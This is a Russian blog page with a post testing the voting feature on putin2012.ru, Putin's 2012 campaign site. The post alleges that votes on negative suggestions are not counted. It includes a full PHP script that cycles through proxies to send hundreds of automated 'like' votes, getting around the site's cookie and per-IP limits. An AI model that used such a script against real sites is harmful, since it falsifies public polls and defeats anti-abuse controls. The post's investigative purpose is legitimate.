Показаны сообщения с ярлыком putin2012. Показать все сообщения
Показаны сообщения с ярлыком putin2012. Показать все сообщения

16 января 2012 г.

Предвыборный сайт В. В. Путина подвержен удобным «сбоям системы»


Предвыборный портал премьер-министра РФ Владимира Путина, поглотив 1,1 млн. руб. из бюджета предвыборной кампании кандидата, страдает «сбоями системы», которые странным образом меняют популярность некоторых «неугодных» предложений.
С первого же дня работы сайта на его странице «Предложения избирателей» появился ряд не самых лестных для кандидата на пост президента предложений народа. В них содержались призывы снять свою кандидатуру с выборов или вообще покинуть политическую арену. Так как на сайте предусмотрена возможность выразить плюсом или минусом своё мнение по данному предложению, такие обращения завоевали немалый рейтинг.
3852
Но вскоре к работе приступили модераторы. Предложения с таким содержанием покинули страницы сайта, а в верхушку рейтинга популярности заняли хвалебные оды, благодарности счастливых граждан и пожелания представителей народа… ввести цензуру в СМИ и интернете.
3853
Вскоре пресс-секретарь премьер-министра сообщил, что виной всему не цензура «в ручном режиме», а банальный сбой системы. Причём это — на редкость удачный и удобный сбой, как оказалось, поскольку у крамольных пожеланий резко упал рейтинг. И даже в тех случаях, когда такие предложения впоследствии вернулись на странички и даже набрали порядочное количество положительных мнений, в топе их не видать.
3854
3855
3856
3857
На фоне всего вышеизложенного удивительно мало положительных отзывов вызвало следующее предложение по сайту:
3858

На волне знаний и тенденций



15 января 2012 г.

Предлагаю уйти в отставку...

image


Обнаружение бага на предвыборном сайте Путина

В этом посте я расскажу о процессе и результатах тестирования сервиса предложений избирателей на восстановленном после сбоя сайте putin2012.ru и расскажу о найденной ошибке, из-за которой неправильно учитываются голоса за некоторые из предложений.

image


Предыстория


Два дня назад был запущен сайт кандидата в президенты России Владимира Путина — putin2012.ru. К сожалению, в тот же день часть предложений избирателей пропала. Например, пропало это предложение:

image

Часть предложений на сайте осталась, но не отображалась в общем списке.

Как разъяснил пресс-секретарь премьера, произошел сбой системы. К сожалению, господин Песков не рассказал про технические подробности этого сбоя, а именно, почему сбой коснулся только негативных предложений.

Впрочем, принимая во внимание заявления российских чиновников касательно недавних митингов или, например, падения «Фобоса», нельзя не предположить, что причиной сбоя сайта putin2012.ru могут быть действия американских спецслужб.

В любом случае, отечественные специалисты достойно справились с проблемой и вскоре исчезнувшие предложения были восстановлены. Практически без изменений:

image

Зная, что некоторые баги, возникшие в результате сбоя, могли быть не обнаружены, я решил проверить систему голосования.

Голосование за предложения избирателей


На сайте есть возможность добавлять предложения кандидату в президенты, просматривать их по дате публикации или по популярности и голосовать «за» или «против».

Механизм голосования достаточно тривиальный. Рассмотрим его на примере самого популярного предложения putin2012.ru/suggestions/203

203 — идентификатор, при нажатии на "+" или "-" отправляется POST запрос по адресу
putin2012.ru/suggestions/203/like
или
putin2012.ru/suggestions/203/dislike
соответственно. Ответом будет json вида:

{"status": "success", "message": "\u0412\u0430\u0448 \u0433\u043e\u043b\u043e\u0441 \u043f\u0440\u0438\u043d\u044f\u0442", "dislikes": "31%", "likes": "69%"}

status (success или fail) — учтен ли голос, dislikes и likes — новые значения показателей "-" и "+".

После успешного голосования ставится кука vote-hash, которая не позволит проголосовать еще раз за одно и то же предложение: получим status = fail и алерт о том, что мы уже голосовали.

Голосовать без куки можно несколько раз, после чего вновь status = fail и алерт о невозможности проголосовать с нашего ip в течение одной минуты.

Ограничений для ip по географии нет.

Тестирование


Т.к. сбой коснулся только части предложений, я решил проверить, учитываются ли голоса правильно и одинаково для всех предложений. Для этого я попытался зафиксировать процесс изменения рейтинга и количество успешных голосов, необходимых для его изменения.

В результате получился скрипт:

<?php
set_time_limit(0);

header('Content-Type: text/html; charset=utf-8');

$id = 203; // id предложения

$proxy = file('proxy.txt'); // Файл с проксями
$current_proxy = 0;
$last_proxy = count($proxy);

$success_votes = 0; // Счетчик успешных голосований

$like_changes = -1; // Количество зафиксированных изменений рейтинга. После первого успешного голосования он меняется на 0

$last_like = '';

while( $success_votes < 500 && $like_changes < 2 ) { // Работаем до тех пор пока мы не проголосовали успешно 500 раз или не зафиксировали 2 изменения рейтинга
    $data = vote($id, $proxy[$current_proxy]);

    if ($data != '') {
        $json = array();
        $json = json_decode($data, true);

        if (isset($json['status']) && isset($json['likes'])) {
            if ($json['status'] == 'success') {
                
                $success_votes++;
                
                if($last_like != $json['likes']) {
                    $last_like = $json['likes'];
                    $like_changes++;
                }
                
                echo $success_votes . ') Процент лайков: ' . $json['likes'] . '<br />';
                
            }
        }
    }

    $current_proxy++;
    if ($current_proxy == $last_proxy) $current_proxy = 0;
}

function vote($suggestion_id, $proxy = '') { // Запрос на голосование
    $ch = curl_init();
    $timeout = 3;

    curl_setopt($ch, CURLOPT_URL, 'http://putin2012.ru/suggestions/' . $suggestion_id . '/like');
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, '');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, '1');
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        "Accept" => "application/json",
        "Accept-Charset" => "windows-1251,utf-8;q=0.7,*;q=0.7",
        "Accept-Encoding" => "gzip, deflate",
        "Accept-Language" => "ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3",
        "Connection" => "keep-alive",
        "Content-Length" => "0",
        "Content-Type" => "application/x-www-form-urlencoded; charset=utf-8",
        "DNT" => "1",
        "Host" => "putin2012.ru",
        "Referer" => 'http://putin2012.ru/suggestions/' . $suggestion_id,
        "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1",
        "X-Request" => "JSON",
        "X-Requested-With" => "XMLHttpRequest"
    ));
    if ($proxy != '') {
        curl_setopt($ch, CURLOPT_PROXY, trim($proxy));
    }

    $html = curl_exec($ch);
    curl_close($ch);

    return $html;
}

?>


Если в коде что-то не так, прошу сильно не бить, а указать на недочеты, чтобы я мог прокачивать скилл программирования.

В качестве подопытных предложений были выбраны самое популярное не негативное (1-е место в общем рейтинге) и самое популярное негативное (10-е место) предложения.

Рейтинг первого несколько часов до запуска скрипта был 67% и не менялся.
Рейтинг второго несколько часов до запуска скрипта был 31% и не менялся.

putin2012. Итоги.


Для предложения «Льготный кредит для многодетных на покупку жилья от государства» я получил следующие результаты:


7) Процент лайков: 67%
8) Процент лайков: 68%

84) Процент лайков: 68%
85) Процент лайков: 69%


Т.е. 76 успешных голосов понадобилось, чтобы увеличить рейтинг предложения с 67 до 69 процентов. На момент публикации этого поста его рейтинг не изменился — 69%, хотя предложение находится на самом кликабильном месте.

С предложением «Предлагаю уйти в отставку!» получилось иначе:

1) Процент лайков: 31%
2) Процент лайков: 31%

499) Процент лайков: 31%
500) Процент лайков: 31%


Т.е. 500 голосований «за» никак не изменили его рейтинг, хотя судя по работе с первым предложением, учитывая отсутствие изменений рейтинга до и после отработки, скрипт должен был увеличить рейтинг второго предложения.

Более того, пока я писал статью на Хабр, рейтинг второго предложения снизился до 30% и вновь замер, что опять же учитывая кол-во плюсов, отданных за него скриптом, невозможно при нормальной системе подсчета голосов.

Чтобы очистить карму за 500 голосов «накрученных» негативному предложению, я запустил скрипт для нескольких не негативных предложений и он достаточно быстро изменил их рейтинг.

Таким образом на сайте putin2012.ru обнаружен баг, из-за которого популярность негативных и не негативных предложений избирателей считается по разному.

Надеюсь, что люди, занимающиеся технической поддержкой сайта, прочитают статью и исправят это в скором времени.

Upd: Как справедливо отметили в комментариях здесь и здесь, изменения рейтинга второго предложения могло не быть из-за большого абсолютного кол-ва голосов. Не спорю, но я исхожу из предположения, что у находящегося на лучшем месте по кликабильности (первое по полулярности) предложения голосов будет больше, чем у предложения с худшей кликабельностью (негативное, вторая страница).